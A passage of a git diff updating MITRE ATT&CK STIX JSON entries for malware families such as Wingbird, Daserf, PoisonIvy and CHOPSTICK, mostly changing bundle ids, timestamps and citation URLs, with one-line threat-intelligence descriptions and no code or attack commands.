+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Wingbird",
+            "description": "is a backdoor appears to be a new version of commercial software , which is marketed to government agencies. It is reportedly used to attack individual computers instead of networks. It was used by  in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)\n\nAliases: Wingbird",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0176",
+                    "external_id": "S0176"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft NEODYMIUM Dec 2016",
+                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
+                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Wingbird"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--ab3580c8-8435-4117-aace-3d9fbe46aa56.json b/enterprise-attack/malware/malware--ab3580c8-8435-4117-aace-3d9fbe46aa56.json
index 708319e233..3ab5a0dc71 100644
--- a/enterprise-attack/malware/malware--ab3580c8-8435-4117-aace-3d9fbe46aa56.json
+++ b/enterprise-attack/malware/malware--ab3580c8-8435-4117-aace-3d9fbe46aa56.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb8996de-9802-436d-94c7-e8bd1a7d38b0",
+    "id": "bundle--3a41006d-cdf7-4670-9ef9-6d9e03781a6b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:15.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Unknown Logger",
             "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)\n\nAliases: Unknown Logger",
             "labels": [
diff --git a/enterprise-attack/malware/malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e.json b/enterprise-attack/malware/malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e.json
index 49fec7dabe..fde20d78cf 100644
--- a/enterprise-attack/malware/malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e.json
+++ b/enterprise-attack/malware/malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ce14ee0e-cd98-46e9-a893-eaaefec61654",
+    "id": "bundle--221210ac-900f-4bf1-839b-251e951c791a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:11.911Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RIPTIDE",
             "description": "RIPTIDE is a proxy-aware backdoor used by APT12. (Citation: Moran 2014)\n\nAliases: RIPTIDE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--ae9d818d-95d0-41da-b045-9cabea1ca164.json b/enterprise-attack/malware/malware--ae9d818d-95d0-41da-b045-9cabea1ca164.json
index 7befd2d0d8..dd597e4667 100644
--- a/enterprise-attack/malware/malware--ae9d818d-95d0-41da-b045-9cabea1ca164.json
+++ b/enterprise-attack/malware/malware--ae9d818d-95d0-41da-b045-9cabea1ca164.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6a27505b-3ba6-4824-9b37-fd93fb4e807b",
+    "id": "bundle--44da3811-0631-49b4-a185-634cd5a8301a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:35.780Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PinchDuke",
             "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)\n\nAliases: PinchDuke",
             "labels": [
diff --git a/enterprise-attack/malware/malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb.json b/enterprise-attack/malware/malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb.json
index ef15284521..5375f444d5 100644
--- a/enterprise-attack/malware/malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb.json
+++ b/enterprise-attack/malware/malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6640fdf1-12c2-49b9-a5da-4f92faa3c3c4",
+    "id": "bundle--bbb1e5cd-1b19-441f-b14c-e6e4aeea0228",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:17.716Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "USBStealer",
             "description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer",
             "labels": [
@@ -28,7 +28,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/malware/malware--b136d088-a829-432c-ac26-5529c26d4c7e.json b/enterprise-attack/malware/malware--b136d088-a829-432c-ac26-5529c26d4c7e.json
index 468cb71bf8..63514acc0c 100644
--- a/enterprise-attack/malware/malware--b136d088-a829-432c-ac26-5529c26d4c7e.json
+++ b/enterprise-attack/malware/malware--b136d088-a829-432c-ac26-5529c26d4c7e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8d23e829-dd43-47df-9759-380b32e9ef15",
+    "id": "bundle--61ac0244-13af-4750-b9c8-1ef84172e4fe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:37.341Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OnionDuke",
             "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: OnionDuke",
             "labels": [
diff --git a/enterprise-attack/malware/malware--b143dfa4-e944-43ff-8429-bfffc308c517.json b/enterprise-attack/malware/malware--b143dfa4-e944-43ff-8429-bfffc308c517.json
index 25c35c46e2..b21d22381e 100644
--- a/enterprise-attack/malware/malware--b143dfa4-e944-43ff-8429-bfffc308c517.json
+++ b/enterprise-attack/malware/malware--b143dfa4-e944-43ff-8429-bfffc308c517.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c9e6380e-e76a-43bd-8821-41db9e89a2e7",
+    "id": "bundle--c43bbd2f-275f-497b-bc6c-75206067d0d3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b143dfa4-e944-43ff-8429-bfffc308c517",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:14.900Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Taidoor",
             "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)\n\nAliases: Taidoor",
             "labels": [
diff --git a/enterprise-attack/malware/malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a.json b/enterprise-attack/malware/malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a.json
index a75e244c66..6399dffd70 100644
--- a/enterprise-attack/malware/malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a.json
+++ b/enterprise-attack/malware/malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a6358c5c-81f3-415a-88e8-b15d9a0310ba",
+    "id": "bundle--60443399-9f55-4c75-993a-ae88c09054bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:21.366Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SHIPSHAPE",
             "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SHIPSHAPE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe.json b/enterprise-attack/malware/malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe.json
index aa32799ba3..f6c146a1a6 100644
--- a/enterprise-attack/malware/malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe.json
+++ b/enterprise-attack/malware/malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--09722a54-36e4-4272-a8fe-e51ffc9bd5d6",
+    "id": "bundle--30a4d5e6-d07c-4dcb-b630-588e6a690085",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:05.710Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cherry Picker",
             "description": "Cherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)\n\nAliases: Cherry Picker",
             "labels": [
diff --git a/enterprise-attack/malware/malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85.json b/enterprise-attack/malware/malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85.json
index 55a629a2ea..f3df5a1470 100644
--- a/enterprise-attack/malware/malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85.json
+++ b/enterprise-attack/malware/malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--02ca5d10-75a3-49ea-87d9-7da0a785abff",
+    "id": "bundle--9c256e0b-846b-431a-a000-0566025b6be4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:16.715Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "P2P ZeuS",
             "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS",
             "labels": [
diff --git a/enterprise-attack/malware/malware--b42378e0-f147-496f-992a-26a49705395b.json b/enterprise-attack/malware/malware--b42378e0-f147-496f-992a-26a49705395b.json
index 931fce0dc4..229884518f 100644
--- a/enterprise-attack/malware/malware--b42378e0-f147-496f-992a-26a49705395b.json
+++ b/enterprise-attack/malware/malware--b42378e0-f147-496f-992a-26a49705395b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--657e7f2f-5581-4ff1-a3fb-29ee5af341c7",
+    "id": "bundle--b885db53-61c1-4620-a127-0465401ce03a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b42378e0-f147-496f-992a-26a49705395b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:15.263Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PoisonIvy",
             "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy)\n\nAliases: PoisonIvy, Poison Ivy",
             "labels": [
diff --git a/enterprise-attack/malware/malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a.json b/enterprise-attack/malware/malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a.json
new file mode 100644
index 0000000000..16d2ffda3f
--- /dev/null
+++ b/enterprise-attack/malware/malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a.json
@@ -0,0 +1,44 @@
+{
+    "type": "bundle",
+    "id": "bundle--dbbeb6bb-ce41-42b5-9863-65d162a1d2f8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Daserf",
+            "description": "Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)\n\nAliases: Daserf, Muirim, Nioupale",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0187",
+                    "external_id": "S0187"
+                },
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Daserf",
+                "Muirim",
+                "Nioupale"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--b8eb28e4-48a6-40ae-951a-328714f75eda.json b/enterprise-attack/malware/malware--b8eb28e4-48a6-40ae-951a-328714f75eda.json
index 95dc2a1baa..fc09b194fb 100644
--- a/enterprise-attack/malware/malware--b8eb28e4-48a6-40ae-951a-328714f75eda.json
+++ b/enterprise-attack/malware/malware--b8eb28e4-48a6-40ae-951a-328714f75eda.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e45354c6-e467-4e98-b103-4549df3ddc98",
+    "id": "bundle--df983cec-2ba9-4537-a08c-ef5fb8bb2876",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:17.147Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BISCUIT",
             "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007. (Citation: Mandiant APT1)\n\nAliases: BISCUIT",
             "labels": [
diff --git a/enterprise-attack/malware/malware--b96680d1-5eb3-4f07-b95c-00ab904ac236.json b/enterprise-attack/malware/malware--b96680d1-5eb3-4f07-b95c-00ab904ac236.json
index e82cce08bf..7c7b6c4f68 100644
--- a/enterprise-attack/malware/malware--b96680d1-5eb3-4f07-b95c-00ab904ac236.json
+++ b/enterprise-attack/malware/malware--b96680d1-5eb3-4f07-b95c-00ab904ac236.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dd9919bd-9fb9-4450-a7e3-aea5cd0a2787",
+    "id": "bundle--93b33a83-0ee3-4218-ba66-e47092799755",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:12.388Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pisloader",
             "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)\n\nAliases: Pisloader",
             "labels": [
diff --git a/enterprise-attack/malware/malware--bb3c1098-d654-4620-bf40-694386d28921.json b/enterprise-attack/malware/malware--bb3c1098-d654-4620-bf40-694386d28921.json
index 52984826de..ab22e64d57 100644
--- a/enterprise-attack/malware/malware--bb3c1098-d654-4620-bf40-694386d28921.json
+++ b/enterprise-attack/malware/malware--bb3c1098-d654-4620-bf40-694386d28921.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--036b8a1c-340c-41de-a223-8974acd85c61",
+    "id": "bundle--c5b68f49-a45d-4715-bc0a-dde51f8f0353",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--bb3c1098-d654-4620-bf40-694386d28921",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:52.470Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FakeM",
             "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: FakeM",
             "labels": [
diff --git a/enterprise-attack/malware/malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9.json b/enterprise-attack/malware/malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9.json
index 749ed7ed8a..1213f131e0 100644
--- a/enterprise-attack/malware/malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9.json
+++ b/enterprise-attack/malware/malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5442d6d0-0169-4115-bf5e-add3171f798c",
+    "id": "bundle--fac162b5-d8a2-4a87-af0d-373696fd2d30",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:12.310Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "TinyZBot",
             "description": "TinyZBot is a bot written in C# that was developed by Cleaver. (Citation: Cylance Cleaver)\n\nAliases: TinyZBot",
             "labels": [
diff --git a/enterprise-attack/malware/malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec.json b/enterprise-attack/malware/malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec.json
index 4e7acca39b..a3e51b6b92 100644
--- a/enterprise-attack/malware/malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec.json
+++ b/enterprise-attack/malware/malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f1e6dfe1-07b8-4b26-a718-bdd1baf68569",
+    "id": "bundle--da1dfab9-d7c8-409b-ae00-08efdc3f7cc3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:11.148Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan.Mebromi",
             "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)\n\nAliases: Trojan.Mebromi",
             "labels": [
diff --git a/enterprise-attack/malware/malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e.json b/enterprise-attack/malware/malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e.json
index bd61d24c26..0c5536b4cb 100644
--- a/enterprise-attack/malware/malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e.json
+++ b/enterprise-attack/malware/malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--732e0d76-2037-4f6c-8d98-1b8fa3c81bfb",
+    "id": "bundle--b7ad7b82-3c8d-469f-8350-e2a8769cbf39",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:25.361Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NetTraveler",
             "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)\n\nAliases: NetTraveler",
             "labels": [
diff --git a/enterprise-attack/malware/malware--cb7bcf6f-085f-41db-81ee-4b68481661b5.json b/enterprise-attack/malware/malware--cb7bcf6f-085f-41db-81ee-4b68481661b5.json
index 57d484e56d..6d73dbd97a 100644
--- a/enterprise-attack/malware/malware--cb7bcf6f-085f-41db-81ee-4b68481661b5.json
+++ b/enterprise-attack/malware/malware--cb7bcf6f-085f-41db-81ee-4b68481661b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--91163c32-a5e0-46ff-968a-4fd03804e85c",
+    "id": "bundle--54f5236d-1f85-4ed1-b5a7-5b18098ab99c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:52.875Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CallMe",
             "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: CallMe",
             "labels": [
diff --git a/enterprise-attack/malware/malware--cba78a1c-186f-4112-9e6a-be1839f030f7.json b/enterprise-attack/malware/malware--cba78a1c-186f-4112-9e6a-be1839f030f7.json
index e73f46f485..9225d2778d 100644
--- a/enterprise-attack/malware/malware--cba78a1c-186f-4112-9e6a-be1839f030f7.json
+++ b/enterprise-attack/malware/malware--cba78a1c-186f-4112-9e6a-be1839f030f7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--83b3fa40-a2b4-43b5-9b53-134702cdad5c",
+    "id": "bundle--54e1f9c2-aa56-4445-9fd2-16da4599ec96",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:07.565Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ROCKBOOT",
             "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)\n\nAliases: ROCKBOOT",
             "labels": [
diff --git a/enterprise-attack/malware/malware--cbf646f1-7db5-4dc6-808b-0094313949df.json b/enterprise-attack/malware/malware--cbf646f1-7db5-4dc6-808b-0094313949df.json
index 63260376d1..f14f43b551 100644
--- a/enterprise-attack/malware/malware--cbf646f1-7db5-4dc6-808b-0094313949df.json
+++ b/enterprise-attack/malware/malware--cbf646f1-7db5-4dc6-808b-0094313949df.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ca5ba0d6-e4fa-44a5-9705-2218050e9ac4",
+    "id": "bundle--a9719d43-25f4-4b2c-8537-7b250dc293a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:38.128Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CloudDuke",
             "description": "CloudDuke is malware that was used by APT29 in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)\n\nAliases: CloudDuke, MiniDionis, CloudLook",
             "labels": [
@@ -28,7 +28,7 @@
                 {
                     "source_name": "Securelist Minidionis July 2015",
                     "description": "Lozhkin, S.. (2015, July 16). Minidionis \u2013 one more APT with a usage of cloud drives. Retrieved April 5, 2017.",
-                    "url": "https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/"
+                    "url": "https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/malware/malware--ccd61dfc-b03f-4689-8c18-7c97eab08472.json b/enterprise-attack/malware/malware--ccd61dfc-b03f-4689-8c18-7c97eab08472.json
index f3e881baa8..8902b625d9 100644
--- a/enterprise-attack/malware/malware--ccd61dfc-b03f-4689-8c18-7c97eab08472.json
+++ b/enterprise-attack/malware/malware--ccd61dfc-b03f-4689-8c18-7c97eab08472.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bf1bf18e-a7a6-439a-89b3-7058868a130d",
+    "id": "bundle--c5500d65-3ec1-4324-a92a-2eacfb58ac5e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:19.389Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CHOPSTICK",
             "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28) January 2017\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp",
             "labels": [
diff --git a/enterprise-attack/malware/malware--d3afa961-a80c-4043-9509-282cdf69ab21.json b/enterprise-attack/malware/malware--d3afa961-a80c-4043-9509-282cdf69ab21.json
index 62489f9641..90326bb8b7 100644
--- a/enterprise-attack/malware/malware--d3afa961-a80c-4043-9509-282cdf69ab21.json
+++ b/enterprise-attack/malware/malware--d3afa961-a80c-4043-9509-282cdf69ab21.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
